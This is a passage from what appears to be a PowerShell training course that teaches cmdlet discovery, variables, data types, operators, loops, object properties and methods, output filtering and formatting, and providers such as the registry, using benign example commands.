...
Listing 15 - Running the "gh" alias of Get-Help
As expected, the alias presents us with the information similar to
when we ran help Get-Help or Get-Help Get-Help.
Creating a shorter alias for Get-Help isn't a huge timesaver, but
imagine having to type Get-NetAdapterEncapsulatedPacketTaskOffload
more than once. Yes, we can tab-complete, but we would at least have
to type "Get-NetAdapterE" to get only one option to pop up. If this is
a command we use often, we may want to create an alias that is short
and easy to remember, like "gnae".
Aliases aren't great in all situations,[287] but if used
properly, they can save us time.
The last useful cmdlet we will cover is Get-Command.[288]
By running Get-Command, we retrieve a full list of commands
currently available . This will return a long table of commands, and
may be overwhelming if we are trying to find a specific cmdlet.
Let's say we are looking for a cmdlet to help us write data to a
file. We can start by examining the output of Get-Verb and take note
of verbs that may apply to our use case. The data category looks
promising with options like Export, Edit, and Out.
PS C:\WINDOWS\system32> Get-Verb
...
Dismount Data
Edit Data
Expand Data
Export Data
Group Data
Import Data
Initialize Data
Limit Data
Merge Data
Mount Data
Out Data
Publish Data
...
Listing 16 - List of available Verbs - Truncated
We can filter the output of Get-Command by using the -Verb
parameter and the name of a verb. For example, we might try
Get-Command -Verb export, Get-Command -Verb edit, or
Get-Command -Verb out.
We can also use the -Noun parameter to filter the results of
Get-Command to find what we are looking for. If we want to output to a
file, our noun may be "file".
PS C:\WINDOWS\system32> Get-Command -Noun file
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Out-File 3.1.0.0 Microsoft.PowerShell.Utility
Cmdlet Unblock-File 3.1.0.0 Microsoft.PowerShell.Utility
Listing 17 - Filtered list of commands
The -Verb and -Noun parameters can be used at the same time, and both
support the use of wildcards using the asterisk character (*). It's a
bit redundant now, but let's run the following to put it all together.
PS C:\WINDOWS\system32> Get-Command -Verb out,edit,export -Noun *file*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Out-File 3.1.0.0 Microsoft.PowerShell.Utility
Listing 18 - Putting it all together
Notice the use of comma-separated entries after the -Verb parameter
and the wildcards around the "file" value. Out-File[289]
appears to be a promising cmdlet to output information to a file. To
verify, let's use Get-Help to determine what Out-File does and how
to use it.
PS C:\WINDOWS\system32> Get-Help Out-File
NAME
Out-File
SYNOPSIS
Sends output to a file.
SYNTAX
...
Listing 19 - Using Get-Help with Out-File
Great! At this point, we have learned how to effectively use basic
cmdlets like Get-Verb, Get-Help, Get-Command, and Get-Alias to quickly
learn how to use other PowerShell commands. Now that we have a strong
foundation, let's continue to the next Learning Unit where we will
explore things like data types, variables, and loops.
The exercises MUST be completed using the ISE and connecting with
rdesktop. Using PowerShell through SSH will provide different results
for some questions. To avoid confusion and frustration, please do NOT
use SSH to complete the exercises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 150 minutes to complete.
In this Learning Unit, we will cover variables, data types, operators,
conditional statements, and loops. Being comfortable with these
concepts will further increase our ability to leverage the language.
A variable[290] is an abstract bucket or container
that stores values. Within PowerShell, we do not have to
declare[291] a variable before assigning a value. Declaring
a variable simply means identifying the properties or characteristics
of the variable. For example, one of the properties we can identify or
create is the name.
PS C:\WINDOWS\system32> $firstVar
Listing 20 - Create a variable
The above variable is "empty", or null,[292] because we have
not assigned a value to it yet. We know it's a variable because the
name begins with a dollar ($) sign.
Let's assign a value:
PS C:\WINDOWS\system32> $firstVar
PS C:\WINDOWS\system32> $firstVar = "OffSec"
PS C:\WINDOWS\system32> $firstVar
OffSec
Listing 21 - Assigning a value to a variable
We used the equal (=) sign assignment operator to assign a value
to the variable. We will learn more about the different types of
operators later. For now, let's keep in mind that $name = value is
the basic syntax for assigning a value to a variable.
We were also able to confirm by outputting or printing the value.
Although PowerShell's naming convention is very loose, Microsoft
recommends sticking with letters, numbers, and underscore characters.
It is possible to use other special characters, but this can easily
cause confusion.[293] Using the dash (-) sign or
space will result in an error.
We can use Clear-Variable, if we want to clear the value of a
variable.
PS C:\WINDOWS\system32> Clear-Variable -Name firstVar
PS C:\WINDOWS\system32> $firstVar
Listing 22 - Clearing a variable
The $firstVar variable is empty again.
So far, we assigned values of string data types. Let's move on to the
next section to better understand data types.
PowerShell has a lot of the same data
types[294]^,[295] that are common in other
scripting and programming languages. For example, storing data in
variables is similar to how Bash handles variables with the "$"
character at the beginning. To start, let's review how PowerShell
handles strings.
PowerShell strings are similar to strings in other programming and
scripting languages. They are a data type that contains one or more
letters, numbers, and symbols. There is no need to specify that a
variable is a string type as long as we put the value in quotes.
PS C:\WINDOWS\system32> $myString = "ABC123!@#"
PS C:\WINDOWS\system32> $myString
ABC123!@#
PS C:\WINDOWS\system32> $myString.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True String System.Object
Listing 23 - Example of a string variable
Above, we set a new variable named myString to the value of some
letters, numbers, and symbols. We then invoked the variable name alone
to verify its value. We verified that it is indeed a string type by
using the GetType() method and checking the Name field. We will
learn more about what methods are in later sections.
An integer is a 32-bit signed whole number. This is the basic way
to store numbers. It has a range from -2,147,483,648 to 2,147,483,647
though the numbers don't need to be anywhere near those extremes. The
value of an integer variable is set without quotes.
PS C:\WINDOWS\system32> $myInt = 1903
PS C:\WINDOWS\system32> $myInt
1903
PS C:\WINDOWS\system32> $myInt.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Int32 System.ValueType
Listing 24 - Example of an integer variable
The output of the GetType() method shows the type as Int32 as it
is a 32-bit data structure. If the initial value contains a decimal or
is outside of the range of a 32-bit integer, then a more specialized
data type will automatically be used.
Let's set a variable to a number without quotes.
PS C:\WINDOWS\system32> $a = 100.5
PS C:\WINDOWS\system32> $a.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Double System.ValueType
Listing 25 - Example of a non-whole number variable
This results in a Double data type that supports non-whole numbers.
If we set a variable to store a number larger than the limit of a
32-bit integer, PowerShell will instead use a 64-bit Long data type
to accommodate it.
PS C:\WINDOWS\system32> $b = 5000000000
PS C:\WINDOWS\system32> $b.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Int64 System.ValueType
Listing 26 - Example of a large number variable
PowerShell can also handle arrays,[296] which are data
structures that contain a collection of values known as elements.
Each element can be referenced by its index. Let's take a look at an
example of how to use PowerShell arrays:[297]
PS C:\WINDOWS\system32> $array1="blue","black","yellow","white","orange"
PS C:\WINDOWS\system32> $array1.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Object[] System.Array
Listing 27 - Example of an array
The first element in the array is "blue". However, from the index
perspective, it is index zero. Array indexes begin with zero,
even though the element numbering begins with one. It can be a bit
confusing at first, but we will get more practice with arrays in later
sections.
PS C:\WINDOWS\system32> $array1[0]
blue
PS C:\WINDOWS\system32> $array1[3]
white
Listing 28 - Printing the first element or index zero
When working with strings and integers in PowerShell there are some
issues we should be aware of. For example, let's set two variables.
PS C:\WINDOWS\system32> $a = 123
PS C:\WINDOWS\system32> $b = "456"
Listing 29 - Setting two variables
Variable a is a basic integer and variable b is a string due to
the quotes.
If we try adding variables a and b together, what happens?
PS C:\WINDOWS\system32> $a + $b
579
Listing 30 - Adding a string to an integer
It appears that PowerShell was smart enough to understand that we
wanted the value of the string stored in variable b and then added
the numbers.
What if we swap the variables around and run it again?
PS C:\WINDOWS\system32> $b + $a
456123
Listing 31 - Adding an integer to a string
In this case, PowerShell seems to have treated both variables like
strings and concatenated them. Based on these two tests, we conclude
that PowerShell assumes our intentions based on the type of the first
variable in the equation.
If we would like to add b plus a but would like b to be
interpreted as an integer, we will need to specify the integer value
of the variable b. This can be done by using square brackets.
PS C:\WINDOWS\system32> [int]$b + $a
579
Listing 32 - Interpreting a string as an integer
PowerShell contains a few special variables[298] that are
worth remembering. These are reserved variable names that are used to
hold specific information. We are unable to set new variables using
these names to avoid causing unexpected issues.
$Error contains an array of error objects.
$Host contains information about the current hosting
application.
$Profile contains the path to the current user profile for
PowerShell.
$PID contains the process ID of the current PowerShell session.
$PSUICulture contains the UI culture or the regional language of
the user interface.
$NULL contains the value of NULL.
$False contains the value of False.
$True contains the value of True.
Pay special attention to the last two: $False and $True.
Applying the GetType() method to these variables provides more
information.
PS C:\WINDOWS\system32> $False.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Boolean System.ValueType
PS C:\WINDOWS\system32> $True.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True True Boolean System.ValueType
Listing 33 - Boolean data types
These are Boolean[299]^,[300] data types. Boolean
data types are important to understand, specifically when it comes
to knowing how conditional statements and loops work. We will discuss
Booleans and these concepts more in-depth in later sections. For now,
keep in mind that Boolean values are either false or true.
An operator[301] is a character or symbol that is used
in conjunction with an expression. We are not going to cover all the
different types of operators, but here are some common ones:
Since we've already used an assignment operator, let's get some
hands-on experience with the rest of the operator types.
Let's create two variables and assign the following values:
PS C:\WINDOWS\system32> $num1=7
PS C:\WINDOWS\system32> $num2=12
Listing 34 - Create two variables and assign integer values
Next, let's use the increment operator (++).
PS C:\WINDOWS\system32> $num1++
PS C:\WINDOWS\system32> $num1
8
Listing 35 - Increment $num1 by 1
Our value increased from 7 to 8 due to putting two plus (++) signs
next to the variable. We can get the opposite by putting two minus
(--) signs.
PS C:\WINDOWS\system32> $num1--
PS C:\WINDOWS\system32> $num1
7
Listing 36 - Decrement $num1 by 1
$num1 is back to 7. Let's do a few math equations.
Let's add the two integers together as shown below:
PS C:\WINDOWS\system32> $num1 + $num2
19
Listing 37 - Adding two integers
Next, let's subtract $num1 from $num2:
PS C:\WINDOWS\system32> $num2 - $num1
5
Listing 38 - Subtracting two integers
The last arithmetic example we will cover is modulus,[306]
which divides two numbers and returns the remainder.
PS C:\WINDOWS\system32> $num2 % $num1
5
Listing 39 - Performing modulus operation
The reason 5 is the answer is because 7 goes into 12 one time, with
the remainder of 5.
Comparison operators takes two values and compares them using a
keyword. The result is either true or false. Generally, comparison
operators are used to determine what the program needs to do next.
For example, if $num1 % 2 equals 0, then the value of $num1 is
even. If it equals 1, the value of $num1 is odd.
Let's look at another example. First, let's reassign $num1 to the
integer of 10. Next, we will perform a modulus operation of $num1 %
2 and assign it to variable $num2.
PS C:\WINDOWS\system32> $num1 = 10
PS C:\WINDOWS\system32> $num2 = $num1 % 2
Listing 40 - Comparison walkthrough 1
Lastly, let's compare the value of $num2 to 0 and analyze the
result. We will do this by placing the expression within parentheses
(), and using the keyword "-eq", which is the syntax for "equals".
PS C:\WINDOWS\system32> ($num2 -eq 0)
True
Listing 41 - Comparison walkthrough 2
As expected, 10 modulus 2 equals 0, which is the value of $num2.
Therefore, 0 is identical, or equal to, 0, so the result is True.
What would happen if we compared the value of $num1 to one?
PS C:\WINDOWS\system32> ($num2 -eq 1)
False
Listing 42 - Comparison walkthrough 3
The result is False. This is because 0 is not 1. Those two values
are not equal or identical. Thus, the result of the comparison is
false.
We can reference the table below for a full list of comparison
operators. We are not going to cover them all in detail in this
lesson. However, we will encounter them throughout the rest of the
Topic, specifically when we explore conditional statements and loops.
| Operator Type | Operator | Definition |
|---|---|---|
| Equality | -eq | Equal |
| Equality | -ne | Not Equal |
| Equality | -gt | Greater than |
| Equality | -ge | Greater than or Equal to |
| Equality | -lt | Less than |
| Equality | -le | Less than or Equal to |
| Matching | -like | compares strings using regular expression |
| Matching | -notlike | compares strings using regular expression |
| Matching | -match | compares strings using regular expression |
| Matching | -notmatch | compares strings using regular expression |
| Containment | -contains | searches value to see if it exists or not |
| Containment | -in | searches value to see if it exists or not |
| Containment | -notcontains | searches value to see if it exists or not |
| Containment | -notin | searches value to see if it exists or not |
| Replacement | -replace | replaces part or all of the value |
| Comparison | -is | compares data types (not values) |
| Comparison | -isnot | compares data types (not values) |
Table 1 - Comparison Operators
Logical operators are used to connect two or more comparison
expressions.
Let's review the values of $num1 and $num2.
PS C:\WINDOWS\system32> $num1
10
PS C:\WINDOWS\system32> $num2
0
Listing 43 - Output values of $num1 and $num2
Next, let's practice using a logical operator.
PS C:\WINDOWS\system32> ($num1 -le 10) -and ($num2 -le 10)
True
Listing 44 - Logical -and Operator
In the above example, we are using the and logical operator. In
order for the overall expression to result to True, both sides of
the and expression have to evaluate to True. This idea is referred
to as a truth table.[307]
Let's look at one more example below:
PS C:\WINDOWS\system32> ($num1 -lt 10) -or ($num2 -lt 10)
True
Listing 45 - Logical -or Operator
This time we changed our comparison operators from "less than or equal
to" to "less than". $num1 -lt 10 evaluates to False. However,
$num2 -lt 10 evaluates to True. With the or logical operator,
as long as one side of the equation is True, the overall result will
be True.
Comparison and logical operators are critical when it comes to
conditional statements and loops, which we will cover next.
Next, let's learn about conditional
statements[308] and loops.[309] One
of the most important aspects of conditional statements and loops is
control flow.[310] This is a concept where expressions
are evaluated and the program will continue to execute depending on
the results of the expressions.
The following example illustrates this concept:
if(comparisonExpression1)
{
perform action1 if comparisonExpression1 is true
}
else if(comparisonExpression2)
{
perform action2 if comparisonExpression2 is true
}
else
{
perform action3
}
Listing 46 - General if/else syntax
The above code depicts the syntax for if/else conditional
statements. The program starts at the top and calculates
comparisonExpression1. If that results to true, then the program
will perform action1 within the first set of curly brackets under
the if[311] statement. Then, the program will end.
If comparisonExpression1 results to false, then
comparisonExpression2 will be calculated. If that expression results
to false, the program will automatically continue to the else
statement and perform action3 in the last set of curly brackets.
Then, the program will end.
Let's walk through this ourselves.
First, let's create and assign the following three variables:
PS C:\WINDOWS\system32> $mathGrade1 = 85
PS C:\WINDOWS\system32> $mathGrade2 = 70
PS C:\WINDOWS\system32> $mathGrade3 = 60
Listing 47 - Create 3 variables
Next, let's take the average by adding up the values, dividing by
three, and assigning the value to $average. Following that, we will
create the if/else statements.
If we are using PowerShell ISE, we should use B+I to
insert a new line at the end of each line until the end. Once the last
line is finished, we can press I to execute the command.
Within the curly brackets, we will use the
Write-Output[312] cmdlet, which prints to the console.
PS C:\WINDOWS\system32> $average = ($mathGrade1+$mathGrade2+$mathGrade3)/3
PS C:\WINDOWS\system32> if($average -ge 70)
{
Write-Output "Passed"
}
else
{
Write-Output "Failed"
}
Passed
Listing 48 - if/then example 1
As expected, the average of the three grades is 71.67. The expression
inside the if statement states that if the value of $average is
greater than or equal to 70, return true. In this case, 71.67 is
greater than 70, therefore the program continued execution within the
if statement curly brackets and printed "Passed" to the console.
Let's re-assign $mathGrade1 and run the if/else command again to
see what happens if the average is less than 70.
PS C:\WINDOWS\system32> $mathGrade1 = 0
PS C:\WINDOWS\system32> $average = ($mathGrade1+$mathGrade2+$mathGrade3)/3
PS C:\WINDOWS\system32> if ($average -ge 70)
{
Write-Output "Passed"
}
else
{
Write-Output "Failed"
}
Failed
Listing 49 - if/then example 2
The expression within the if statement results to false since the
average is 43.34. The program continues to the else statements and
prints "Failed" to the console.
A switch[313]^,[314] statement works in a
similar fashion; it compares a value to multiple values within each
"case". Let's create and assign a variable, then create the switch
statement.
PS C:\WINDOWS\system32> $number1 = 4
PS C:\WINDOWS\system32> switch ($number1)
{
1{Write-Output "Number is 1"}
2{Write-Output "Number is 2"}
3{Write-Output "Number is 3"}
4{Write-Output "Number is 4"}
5{Write-Output "Number is 5"}
}
Number is 4
Listing 50 - Switch statement example
The switch statement takes in a variable and compares the value to
various "cases". For this instance, the value of $number1 is 4 and
compares it line by line to 1, 2, 3, 4, and 5. If there is a match
(i.e. if the expression results to true), then the program performs
the actions that matched the case. Case four was a match because 4=4,
and the program printed "Number is 4".
for(initialization; comparisonExpression; arithmeticExpression)
{
perform an action as long as comparisonExpression results to true
}
Listing 51 - General for loop syntax
For loops are fairly straightforward. Let's take the above example
and examine something more specific.
PS C:\WINDOWS\system32> for ($myVar=0; $myVar -lt 5; $myVar++)
{
Write-Output $myVar;
}
0
1
2
3
4
Listing 52 - For loop example
Within the for loop, a variable named $myVar is created and
assigned the value 0. Then, a comparison expression is evaluated to
see if the value of $myVar is less than 5. In the first instance,
this is true; therefore, the line within the for loop is executed.
Finally, the value of $myVar is increased by one from 0 to 1,
because of $myvar++.
This loop continues to occur while the value of $myVar is less than
5. Once $myVar equals 5, the loop exits.
The initialization, comparison expression, and arithmetic expression
are all implied when we point our foreach loop to an array or
a collection of things like objects or strings. Let's look at the
following example, where we create and store the string "powershell",
convert it from string to array, then iterate through every character
using foreach.
PS C:\WINDOWS\system32> $myWord = "powershell"
PS C:\WINDOWS\system32> $myArray = $myWord.ToCharArray()
PS C:\WINDOWS\system32> foreach ($myLetter in $myArray)
{
$myLetter
}
p
o
w
e
r
s
h
e
l
l
Listing 53 - Foreach loop example
By iterating through each letter in the word, we were able to print
the letters individually. The ToCharArray() is an array which
converts strings to arrays. We will learn more about methods later on.
The while and do-while loops are the last loops we will explore.
while(comparisonExpression)
{
perform an action as long as comparisonExpression results to true
}
Listing 54 - General while loop syntax
While [319]^,[320] loops will execute actions
inside the loop as long as the comparison expression results to true.
Below is a more specific example.
PS C:\WINDOWS\system32> $count = 0
PS C:\WINDOWS\system32> while ($count -lt 5)
{
$count
$count++
}
0
1
2
3
4
Listing 55 - While loop example
While the syntax was a bit different, essentially we were able to
use a while loop to achieve the same thing as the for loop from
earlier. We created a variable named $count and assigned the value
of 0. We then had a comparison expression for the while loop that
compared the value of $count. The while loop ran until $count
was less than 5. Within the loop, the value of $count would print
to the console, and it would increase by one with each loop.
There may be times we want the while loop to run before the
comparison expression. In the above example, the comparison
expression is evaluated before running the actions within the loop.
If the result is false in the first iteration, the actions inside
will never run. We can swap those steps by using a do-while
loop,[321]^,[322] which runs the action(s)
inside the loop first, then evaluates the comparison expression.
Let's explore the last loop below:
PS C:\WINDOWS\system32> $count = 0
PS C:\WINDOWS\system32> do
{
$count;
$count++;
} while ($count -lt 5)
0
1
2
3
4
Listing 56 - Do-while loop example
Again, the syntax is slightly different, but the results are the same.
We start with the do keyword at the top, then the actions within
the loop, and end up with the while keyword and the comparison
expression.
Before we move on, let's cover a few terms and concepts associated
with loops. Each concept will be followed by an example code and an
explanation.
1 $count = 0;
2 while ($count -lt 5)
3 {
4 if ($count -eq 1)
5 {
6 Write-Output "Skip $count";
7 $count++;
8 continue;
9 }
10 $count;
11 $count++;
12 }
Listing 57 - Continue statement example
The if statement within our while loop compares the value of
$count to 1. If this comparison results to true, it will run lines
6-8. The continue statement instructs the program to return to the
beginning of the loop. When $count is 1, lines 10 and 11 will not
run, resulting in the following output.
0
Skip 1
2
3
4
Listing 58 - Continue statement example - output
0 $count = 0;
1 while ($count -lt 5)
2 {
3 if ($count -eq 1)
4 {
5 break;
6 }
7 $count;
8 $count++;
9 }
Listing 59 - Break statement example
The break statement will immediately end the loop and print out 0
only.
0
Listing 60 - Break statement example - output
while ($True)
{
Write-Output "Hi";
}
Listing 61 - Infinite loop example
The above while statement always evaluates to true because of the
$True special variable. If we run the code, it will run and print
"Hi" forever.
Hi
Hi
Hi
Hi
Hi
...
Listing 62 - Infinite loop example - Output
If we get stuck in an infinite loop, one of the ways to terminate the
program is to send a signal interrupt[326] signal by pressing
the C+c keyboard shortcut.
Use the following code to answer questions 1-3:
$words = "powershell","offensive","security","hacker","scripting","forensics","pentest"
foreach ($word in $words)
{
if ($word -eq "hacker")
{
break
}
Write-Output $word
}
Listing 63 - Exercise Code
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 180 minutes to complete.
In this Learning Unit, we will cover how to use properties, methods,
and functions. We will also learn how to create our own functions
and scripts. At the end, we will be presented with a few challenging
exercises.
As stated earlier, PowerShell works with objects. Properties and
methods allows us more flexibility when interacting with objects.
A property[327]^,[328] is
a characteristic or attribute of an object, while a
method[329]^,[330] is an action that can be
executed on an object. Every object has their own properties and
methods associated with them.
To view them, let's use the Get-Member
[331] cmdlet in conjunction with the pipeline
operator[332]^,[333] (|). The Get-Member cmdlet
displays the properties and methods of objects. The pipeline operator
connects two commands by taking the output from the first command and
using it as input for the second command.
First, let's create a new variable and assign the following value:
PS C:\WINDOWS\system32> $myFirstName = "Christina"
Listing 64 - Creating and assigning $myFirstName variable
Next, let's use the pipeline operator and Get-Member
on the variable to view the properties and methods.
PS C:\WINDOWS\system32> $myFirstName | Get-Member
TypeName: Sytem.String
Name MemberType Definition
---- ---------- ----------
Clone Method System.Object Clone(), System.Object ICloneable.Clone()
...
GetType Method type GetType()
...
ToCharArray Method char IConvertible.ToChar(System.IFormatProvider provider)
...
Length Property int Length {get;}
Listing 65 - Piping $myFirstName variable to Get-Member cmdlet
For readability purposes, we have truncated the result in Listing
65, but in reality, this variable is a string and
it has many methods and one property associated with it. We can view
the "Name", the "MemberType", and the "Definition" of the property or
method.
To use methods or properties, we simply put a dot (.) after the object
followed by the name of the property or method. For methods, we have
to put a set of parentheses () after the method name. The GetType()
and ToCharArray() methods should look familiar since we have used
them previously.
Let's use another method: ToLower().
First, let's display the variable as is. Then, invoke the ToLower()
method of the object.
PS C:\WINDOWS\system32> $myFirstName
C hristina
PS C:\WINDOWS\system32> $myFirstName.ToLower()
c hristina
Listing 66 - Invoking ToLower() method on $myFirstName
The only difference is the "C" changed from uppercase to lowercase.
Given the results and the name, we conclude that this method takes
a string as input, converts the letters to lowercase, and returns a
new string. We can confirm our assumption by reviewing the official
documentation of the ToLower() method.[334]
This time, let's use the Length property.
PS C:\WINDOWS\system32> $myFirstName.Length
9
Listing 67 - Applying Length property on $myFirstName
The Length[335] property counts the number of characters in
the string and returns the number as an integer. In this instance,
$myFirstName is 9 characters long.
We can use these same steps on any object. First, we view the
properties and methods using Get-Member on an object. Then we use the
official Microsoft docs to better understand how to apply the property
or method.
Now that we know how to get more information on objects, we can become
more efficient. Depending on the situation, the output of the command
can be long and exhausting. It would be much easier to filter the
results so we can get exactly what we need. Other times, the way the
output is presented isn't the easiest to digest. With PowerShell, we
can format the output to easily read the results. In this section, we
will explore cmdlets that allow us to filter and format output.
A similar yet more powerful way to interact with the properties of an
object is the Select-Object[336] cmdlet. This cmdlet
selects the properties of one or more objects.
Let's start simple and work our way up. Earlier we learned that the
$myFirstName variable has a Length property. Let's pipe the
variable to Select-Object and select the Length property.
PS C:\WINDOWS\system32> $myFirstName | Select-Object -Property Length
Length
------
9
Listing 68 - Piping $myFirstName to Select-Object
Although the output is identical, we should note this isn't always
the case. Using dot (.) property versus Select-Object is slightly
different. The above example is meant to show us that there are
similarities, but the two commands are not identical in how they work
under the hood. Therefore, they won't always provide the same results.
Let's apply this idea to something more advanced.
The Get-Service[337] cmdlet displays the installed
services on the system (Windows only). From a defender's perspective,
it's important to have a baseline of the installed services.
From an offensive perspective, we can use this command to conduct
reconnaissance and identify vulnerable services on the system that we
can exploit.
When we run this command, we get the following table:
This list displays the "Status", "Name" and "DisplayName", and is
sorted alphabetically by "Name". What if we wanted additional or
different information displayed about services?
Let's pipe the cmdlet to Get-Member.
PS C:\WINDOWS\system32> Get-Service | Get-Member
Listing 69 - Piping Get-Service to Get-Member
This provides a table of methods and properties associated with
Get-Service.
Next, let's pipe Get-Service to Select-Object and select the
following properties to display the "DisplayName", "MachineName",
"ServiceType", "StartType", and "Status".
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property "DisplayName","MachineName","ServiceType","StartType","Status"
Listing 70 - Piping Get-Service to Select-Object
First, the results are displayed in list format versus table format
(more on this later). It also looks the properties within each service
are in the order we provided. Lastly, all the services this time are
sorted alphabetically by "DisplayName".
Reviewing the results, we discover "MachineName" property doesn't
reveal any useful information. To add to this, let's sort the results
by status (running, stopped, etc).
Thankfully, we are able to manipulate the results. We can omit
"MachineName" property from our command, and we can use the
Sort-Object[338] cmdlet to sort the results.
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property DisplayName,ServiceType,StartType,Status | Sort-Object -Property Status -Descending
Listing 71 - Adding Sort-Object to the command
The results are different, so let's break down the changes.
First, we omitted the double quotation marks around the property
names. This shows that we don't always need to add quotes around
property names. This might not always be the case though, so keep
in mind that there are instances where quotes are required and other
instances where quotes are optional. Although not all-inclusive,
Microsoft provides a quoting rules guide.[339]
Second, we removed the "MachineName" property.
Lastly, we used Sort-Object to sort the results by "Status" in
descending order. Get-Command and Get-Help cmdlets are useful in
providing information about cmdlets we aren't familiar with.
Let's say we are only interested in services that start automatically.
Let's examine how can we filter those results:
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property DisplayName,ServiceType,StartType,Status | Sort-Object -Property Status -Descending | Where-Object StartType -EQ Automatic
Listing 72 - Adding Where-Object to the command
We can use the Where-Object[340] cmdlet to filter the
results even further. Similar to conditional statements and loops,
Where-Object uses comparison expression to filter property values.
Earlier we briefly mentioned that results can be displayed
in different formats (list, table, etc). In Figure
12, the results are displayed in
table format. Let's use the Format-List[341] cmdlet to
display results in list format.
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property DisplayName,ServiceType,StartType,Status | Sort-Object -Property Status -Descending | Where-Object StartType -EQ Automatic | Format-List
Listing 73 - Adding Format-List to the command
In the example above, a table is better than a list. Let's adjust the
previous command and see an example where the format might be better
in table versus a list.
We will go over the new commands shortly, so let's not worry about the
complexity.
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property ServiceName,DisplayName,ServiceType,StartType,Status | Sort-Object -Property Status -Descending | Where-Object {$_.StartType -EQ "Automatic" -And $_.ServiceName -Match "^s"}
Listing 74 - Using Where-Object with multiple conditions
First, we added "ServiceName" as the first property displayed in the
result. We then adjusted the Where-Object command to include multiple
comparisons.
Where-Object has two ways to filter results. The first method we used,
Where-Object StartType -EQ Automatic is known as a comparison
statement, which was a feature released in Windows PowerShell 3.0.
A script block is the legacy method used to create a Where-Object
command. The syntax for a script block is the dollar sign ($) and
underscore (_), which represents an automatic variable, followed
by a dot (.), which is when we refer to a property of an object.
Lastly, the curly brackets {} are used around the comparison. If
the Where-Object command uses one condition, we can implement either
method. However, if we need two or more conditions, we have to use
script block.[340-1]
Let's look at our example again. The first comparison checks
that the "StartType" value is "Automatic". The second comparison
uses a match operator, which matches a regular expression
(regex)[342]^,[343] pattern. Regular expressions are
out of scope for this Topic, but for this example "^s" displays any
services that begin with the letter "s" (case insensitive). For future
references, Microsoft documentation provides a quick reference guide
for regular expressions.[344]
These changes result in the following shortlist:
Now, let's pipe the results to Format-Table to display the results
in table format.
PS C:\WINDOWS\system32> Get-Service | Select-Object -Property ServiceName,DisplayName,ServiceType,StartType,Status | Sort-Object -Property Status -Descending | Where-Object {$_.StartType -EQ "Automatic" -And $_.ServiceName -Match "^s"} | Format-Table
Listing 75 - Adding Format-Table to the command
Perfect! The results are displayed in table format.
We have only covered two formats available to PowerShell, but there
are more. Feel free to explore the other formats.[345]
The last thing we will cover in this section is PowerShell
providers,[346] which are .NET programs that access data stores
in a standardized manner.
Providers make the data easier to access since it's presented in
a consistent way, similar to a file system drive. Providers are
typically included in modules, and are accessible after the module has
been loaded into the current session. We can view a list of current
providers by running Get-PSProvider.[347]
PS C:\WINDOWS\system32> Get-PSProvider
Name Capabilities Drives
---- ------------ ------
Registry ShouldProcess, Transactions {HKLM, HKCU}
Alias ShouldProcess {Alias}
Environment ShouldProcess {Env}
FileSystem Filter, ShouldProcess, Credentials {C, A, D}
Function ShouldProcess {Function}
Variable ShouldProcess {Variable}
Listing 76 - List of providers
As mentioned, the output contains the provider name, capabilities, and
drives. We are able to check what type of data these drives contain
by using the Get-Item[348] cmdlet, followed by the provider drive
name and a colon (:). Let's check out the alias drive by running
Get-Item alias:.
PS C:\WINDOWS\system32> Get-Item alias:
CommandType Name Version Source
----------- ---- ------- ------
Alias foreach -> ForEach-Object
Alias % -> ForEach-Object
Alias where -> Where-Object
Alias ? -> Where-Object
Alias ac -> Add-Content
Alias clc -> Clear-Content
Alias cli -> Clear-Item
Alias clp -> Clear-ItemProperty
Alias clv -> Clear-Variable
Alias compare -> Compare-Object
Alias cpi -> Copy-Item
Alias cpp -> Copy-ItemProperty
Alias cvpa -> Convert-Path
Alias dbp -> Disable-PSBreakpoint
Alias diff -> Compare-Object
...
Listing 77 - Using Get-Item
The alias drive contains all of the available alias entries. An alias
is a mapping of a command to a different name that can be called. The
first entry from the output shows an alias of the text "foreach" that
maps to the PowerShell ForEach-Object[349] cmdlet.
This means that when we execute foreach in a PowerShell session
it will run ForEach-Object. Learning some of these aliases can
save us some time by shortening common commands or by substituting
PowerShell-specific syntax with something more familiar for a command
prompt or Bash user. For example, ls and dir are both aliases to
the Get-ChildItem[350] cmdlet, which performs the same task of
listing items in the current directory.
PS C:\Users\User\sample> ls
Directory: C:\Users\User\sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/15/2021 2:17 PM moreStuff
-a---- 6/15/2021 2:19 PM 4398 data.txt
-a---- 6/15/2021 2:18 PM 5614 text.txt
PS C:\Users\User\sample> dir
Directory: C:\Users\User\sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/15/2021 2:17 PM moreStuff
-a---- 6/15/2021 2:19 PM 4398 data.txt
-a---- 6/15/2021 2:18 PM 5614 text.txt
PS C:\Users\User\sample> Get-ChildItem
Directory: C:\Users\User\sample
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/15/2021 2:17 PM moreStuff
-a---- 6/15/2021 2:19 PM 4398 data.txt
-a---- 6/15/2021 2:18 PM 5614 text.txt
Listing 78 - Output from ls, dir, and Get-ChildItem
Let's try working with the registry provider. First, let's ensure the
PowerShell instance is running as Administrator.
Since PowerShell interacts with providers as drives, we can change our
working directory to a provider by using cd, which is an alias for
Set-Location.[351]
Let's move into the registry provider[352] with the command
cd HKLM:. We need to add a colon to the end of the provider name
to indicate that it is to be used as a drive. HKLM, which stands
for HKEY_LOCAL_MACHINE, is the registry root key for entries
about the local system. We also have HKCU available to us for
HKEY_CURRENT_USER.
PS C:\Windows\system32> cd HKLM:
PS HKLM:\>
Listing 79 - Moving into the registry provider
Now let's run Get-ChildItem to list the contents of HKLM. We will
receive some errors, but this is expected.
PS HKLM:\> Get-ChildItem
